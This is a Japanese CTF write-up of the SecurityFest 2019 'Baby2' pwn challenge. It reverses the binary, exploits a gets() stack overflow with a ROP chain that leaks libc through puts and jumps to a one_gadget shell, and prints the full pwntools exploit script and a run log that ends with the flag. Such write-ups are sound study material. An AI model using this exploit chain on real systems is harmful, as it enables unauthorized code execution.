Baby2
When Swordfish came out, these were considered some state of the art techniques. Let's see if you have what it takes.
settings Service: nc baby-01.pwn.beer 10002
cloud_download Download: baby2.tar.gz
baby2.tar.gz を解凍するとbaby2とlibc.so.6が与えられる。 libcが与えられるってことはまずret2libcが考えられる。
# file baby2 baby2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=de94527085e45236153069216540df9710dace06, not stripped
radare2で解析する。
r2 baby2 -- Wait a moment ... [0x004005a0]> aaaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Enable constraint types analysis for variables [0x004005a0]> afl 0x00400520 3 23 sym._init 0x00400550 1 6 sym.imp.puts 0x00400560 1 6 sym.imp.printf 0x00400570 1 6 sym.imp.alarm 0x00400580 1 6 sym.imp.gets 0x00400590 1 6 sym.imp.setvbuf 0x004005a0 1 42 entry0 0x004005d0 1 2 sym._dl_relocate_static_pie 0x004005e0 4 42 -> 37 sym.deregister_tm_clones 0x00400610 4 58 -> 55 sym.register_tm_clones 0x00400650 3 34 -> 29 entry.fini0 0x00400680 1 7 entry.init0 0x00400687 1 17 sym.banner 0x00400698 1 127 main 0x00400720 3 101 -> 92 sym.__libc_csu_init 0x00400790 1 2 sym.__libc_csu_fini 0x00400794 1 9 sym._fini
baby1と違ってsym.winがない。
[0x004005a0]> s main [0x00400698]> pdf / (fcn) main 127 | int main (int argc, char **argv, char **envp); | ; var int32_t var_10h @ rbp-0x10 | ; DATA XREF from entry0 (0x4005bd) | 0x00400698 55 push rbp | 0x00400699 4889e5 mov rbp, rsp | 0x0040069c 4883ec10 sub rsp, 0x10 | 0x004006a0 488b05791920. mov rax, qword [obj.stdin] ; obj.stdin__GLIBC_2.2.5 ; [0x602020:8]=0 | 0x004006a7 b900000000 mov ecx, 0 | 0x004006ac ba02000000 mov edx, 2 | 0x004006b1 be00000000 mov esi, 0 | 0x004006b6 4889c7 mov rdi, rax | 0x004006b9 e8d2feffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size) | 0x004006be 488b054b1920. mov rax, qword [obj.stdout] ; obj.__TMC_END ; [0x602010:8]=0 | 0x004006c5 b900000000 mov ecx, 0 | 0x004006ca ba02000000 mov edx, 2 | 0x004006cf be00000000 mov esi, 0 | 0x004006d4 4889c7 mov rdi, rax | 0x004006d7 e8b4feffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size) | 0x004006dc bf3c000000 mov edi, 0x3c ; '<' ; 60 | 0x004006e1 e88afeffff call sym.imp.alarm | 0x004006e6 b800000000 mov eax, 0 | 0x004006eb e897ffffff call sym.banner | 0x004006f0 bfc0104000 mov edi, str.input: ; 0x4010c0 ; "input: " | 0x004006f5 b800000000 mov eax, 0 | 0x004006fa e861feffff call sym.imp.printf ; int printf(const char *format) | 0x004006ff 488d45f0 lea rax, [var_10h] | 0x00400703 4889c7 mov rdi, rax | 0x00400706 b800000000 mov eax, 0 | 0x0040070b e870feffff call sym.imp.gets ; char *gets(char *s) | 0x00400710 b800000000 mov eax, 0 | 0x00400715 c9 leave \ 0x00400716 c3 ret
baby1と変わらずgets()を使用しているのでBOFが可能である。
| 0x0040070b e870feffff call sym.imp.gets ; char *gets(char *s)
方針としてはputs()を使用しているのでputs()を使用してgotをリークしてlibc_baseを計算する。 まずはarg1に引数を与えるためにpop rdi; ret;ガジェットを探す。
rp --file=baby2 --unique --rop=5 (snip) 0x00400783: pop rdi ; ret ; (1 found) (snip)
return addressまでのoffset
input: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH Program received signal SIGSEGV, Segmentation fault. RSP: 0x7fffffffdd98 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH") gdb-peda$ pattern offset (AADAA;AA)AAEAAaA (AADAA;AA)AAEAAaA found at offset: 24
まずはgot.putsをリークしてmain()に戻す。
puts(*got.puts) ---------------- pop rdi ; ret ; ---------------- got.puts ---------------- got.plt ---------------- main() ---------------- main ----------------
次にリークしたgot.puts()からlibc_baseを計算する。
libc_base = puts - offset_puts libc_system = libc_base + offset_system libc_bin_sh = libc_base + offset_str_bin_sh
前のROPでmain()に戻っているので次は計算したアドレスからlibcのsystem(/bin/sh)を呼び出す。
---------------- pop rdi ; ret ; ---------------- libc_bin_sh ---------------- libc_system ----------------
と、思ったらローカルではシェルが取れてたけどリモートではシェルが取れなかったので方針を変更してone gadgetを利用することにした。
$ one_gadget libc.so.6 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
libc_baseのアドレスはわかっているのであとはone gadgetに飛ばすだけ。
payload += pack(libc_base + 0x4f2c5)
最終敵なexploitコードは以下の通り
from pwn import * def send_payload(payload): log.info("payload = %s" % repr(payload)) r.send(payload) return def sendline_payload(payload): log.info("payload = %s" % repr(payload)) r.sendline(payload) return def print_address(s, addr): log.info(s + ' : ' + hex(addr)) return binary = './baby2' host ='baby-01.pwn.beer' port = 10002 elf = ELF(binary) context.binary = binary # context.log_level = 'debug' REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r' if REMOTE: # remote r = remote(host, port) libc = ELF('./libc.so.6') else: # local r = process(binary) libc = elf.libc # ELF addr_plt_puts = elf.plt['puts'] addr_got_puts = elf.got['puts'] addr_plt_gets = elf.plt['gets'] addr_got_gets = elf.got['gets'] addr_symbols_main = elf.symbols['main'] # libc offset_system = libc.symbols['system'] offset_str_bin_sh = next(libc.search('/bin/sh\x00')) offset_puts = libc.symbols['puts'] ''' Gadget rp --file=binary --unique --rop=5 0x00400783: pop rdi ; ret ; (1 found) ''' r.recvuntil('input: ') payload = '' payload += 'A' * 24 rop = ROP(elf) rop.raw(0x00400783) # pop rdi ; ret rop.raw(addr_got_puts) rop.raw(addr_plt_puts) rop.raw(addr_symbols_main) print rop.dump() payload += rop.chain() sendline_payload(payload) leak = r.recvline(False)[:8] leak += '\x00' * (8 - len(leak)) puts = u64(leak) print_address('puts', puts) libc_base = puts - offset_puts libc_system = libc_base + offset_system libc_bin_sh = libc_base + offset_str_bin_sh r.recvuntil('input: ') payload = '' payload += 'A' * 24 payload += pack(libc_base + 0x4f2c5) sendline_payload(payload) r.interactive()
~/Desktop/CTF/SecurityFest 2019/Pwn/Baby2 ᐅ python exploit.py r [*] '/home/user/Desktop/CTF/SecurityFest 2019/Pwn/Baby2/baby2' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to baby-01.pwn.beer on port 10002: Done [*] '/home/user/Desktop/CTF/SecurityFest 2019/Pwn/Baby2/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Loaded cached gadgets for './baby2' 0x0000: 0x400783 pop rdi; ret 0x0008: 0x601fc8 got.puts 0x0010: 0x40054c puts 0x0018: 0x400698 main [*] payload = 'AAAAAAAAAAAAAAAAAAAAAAAA\x83\x07@\x00\x00\x00\x00\x00\xc8\x1f`\x00\x00\x00\x00\x00L\x05@\x00\x00\x00\x00\x00\x98\x06@\x00\x00\x00\x00\x00' [*] puts : 0x7fe52c69e9c0 [*] payload = 'AAAAAAAAAAAAAAAAAAAAAAAA\xc5\xd2f,\xe5\x7f\x00\x00' [*] Switching to interactive mode $ ls baby2 flag redir.sh $ cat flag sctf{An0tH3r_S1lLy_L1Ttl3_R0P}
FLAG : sctf{An0tH3r_S1lLy_L1Ttl3_R0P}